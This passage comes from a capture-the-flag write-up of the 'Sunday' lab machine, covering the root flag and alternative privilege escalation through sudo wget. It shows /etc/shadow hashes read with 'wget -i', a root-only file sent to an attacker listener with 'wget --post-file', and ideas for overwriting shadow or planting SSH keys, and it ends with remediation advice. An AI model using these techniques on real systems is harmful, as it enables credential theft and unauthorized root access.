OK, so they kept a copy of the original troll file, the wget -O option as sudo shouldn’t perserve the original.
root@sunday:~# cat /root/troll
#!/usr/bin/bash
/usr/bin/echo "testing"
/usr/bin/id
And looks like the troll file is back to the original, confirmation that it is indeed being overwritten, replacing the /bin/bash contents we wget’d to the server.
So overwrite is probably a script replacing /root/troll with /root/troll.original every few seconds, just to make that particular path to root difficult.
Let’s confirm:
root@sunday:~# cat /root/overwrite
#!/usr/bin/bash
while true; do
/usr/gnu/bin/cat /root/troll.original > /root/troll
/usr/gnu/bin/sleep 5
done
root@sunday:~#
Yep, it’s a simple bash script that infiinitely loops, writing troll.original to troll, sleeping/waiting 5 seconds, then doing it again. How trollish indeed.
Alright, let’s go ahead and grab the flag:
root@sunday:~# find / -name root.txt
/root/root.txt
root@sunday:~# cat /root/root.txt
{you'vegotthis!}
A few possible privesc alternatives
Briefly, before we concluded, I wanted to discuss one or two other avenues that might have worked to escalate privileges, in case you didn’t happen to get fortunate on a quick turnaround from the wget to download the new troll file, and the sudo execution of said file.
If we look at the wget man page, there’s a number of options we could potentially abuse:
- wget -i will allow us to grab a local file. Per the man page:
-i file
--input-file=file
Read URLs from a local or external file. If - is specified as file,
URLs are read from the standard input. (Use ./- to read from a file
literally named -.)
If this function is used, no URLs need be present on the command line.
Since we don’t need to specify a URL, we could in theory grab a sensitive local file that only root could usually get. For instance, we could obtain /etc/shadow for later cracking of the root password. Let’s try and confirm if this works:
sammy@sunday:~$ sudo wget -i /etc/shadow
/etc/shadow: Invalid URL root:$5$WVmHMduo$nI.KTRbAaUv1ZgzaGiHhpA2RNdoo3aMDgPBL25FZcoD:14146::::::: Unsupported scheme
/etc/shadow: Invalid URL daemon:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL bin:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL sys:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL adm:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL lp:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL uucp:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL nuucp:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL dladm:*LK*:::::::: Unsupported scheme
/etc/shadow: Invalid URL smmsp:NP:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL listen:*LK*:::::::: Unsupported scheme
/etc/shadow: Invalid URL gdm:*LK*:::::::: Unsupported scheme
/etc/shadow: Invalid URL zfssnap:NP:::::::: Unsupported scheme
/etc/shadow: Invalid URL xvm:*LK*:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL mysql:NP:::::::: Unsupported scheme
/etc/shadow: Invalid URL openldap:*LK*:::::::: Unsupported scheme
/etc/shadow: Invalid URL webservd:*LK*:::::::: Unsupported scheme
/etc/shadow: Invalid URL postgres:NP:::::::: Unsupported scheme
/etc/shadow: Invalid URL svctag:*LK*:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL nobody:*LK*:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL noaccess:*LK*:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL nobody4:*LK*:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::: Unsupported scheme
/etc/shadow: Invalid URL sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::: Unsupported scheme
No URLs found in /etc/shadow.
sammy@sunday:~$
So that would work; granted, it would need a bit of cleaning, but the password could potentially be cracked. Not sure how complex it is, and being a sha256, it may take awhile to crack, but it does show the potential for abuse via wget.
2) Another option for exfiltration of data seems to exist. There’s an interesting option in wget, -post-file=file. Per the man page:
--post-file=file
Use POST as the method for all HTTP requests and send the specified data
in the request body. --post-data sends string as data, whereas
--post-file sends the contents of file.
It’s possible this could potentially be leveraged to send contents of an otherwise protected or sensitive file with sudo through the POST method to a remote machine listening. Let’s try this out, using troll.original, which a normal user should not be able to see:
sammy@sunday:~$ sudo wget -post-file=/root/troll.original 10.10.14.50:1234
wget: st-file=/root/troll.original: No such file or directory
sammy@sunday:~$ sudo wget --post-file=/root/troll.original 10.10.14.50:1234
--03:34:12-- http://10.10.14.50:1234/
=> `index.html'
Connecting to 10.10.14.50:1234... connected.
HTTP request sent, awaiting response...
and in an nc listener locally:
root@kali:~# sudo nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.76] 44071
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.50:1234
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
#!/usr/bin/bash
/usr/bin/echo "testing"
/usr/bin/id
This would likely leave you in the same position of having to crack the shadow file, but again, illustrates a way that wget could be abused.
3) One final interesting method I think would work is to modify a system file that would potentially allow you to gain access to the target machine. This would leverage the same technique that we used to gain root, using wget -o to write a file with privlidged execution, but we would modify the files locally on our attacker machine, in such away the we would not need to use sudo execution from the user sunny to gain system access.
For instance, you could likely create an ssh key locally and then upload it to the root directory, allowing you to log in, or you could potentially change the root password hash in /etc/shadow to something you knew, then uploaded it, replacing the original since you have superuser access. Granted, both of these options would be noisy in a real engagement, but demonstrate again how you could leverage a pretty flexible utility with sudo to have unintended consequences.
Conclusion
Remediation Recommendations
-
If possible, the finger service (or a server side protection mechanism such as an IPS) should rate-limit finger requests/enumeration attempts.
-
The password for the ‘sunny’ user should be changed to not be the hostname of the machine, and should be changed to a more secure alternative.
-
Sensitive backup files should either been encrypted, or placed in an area with porperly restrictive permissions, not open to all users to view.
-
superuser permissions should be checked and cleaned up to ensure they cannot easily be abused.
Until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!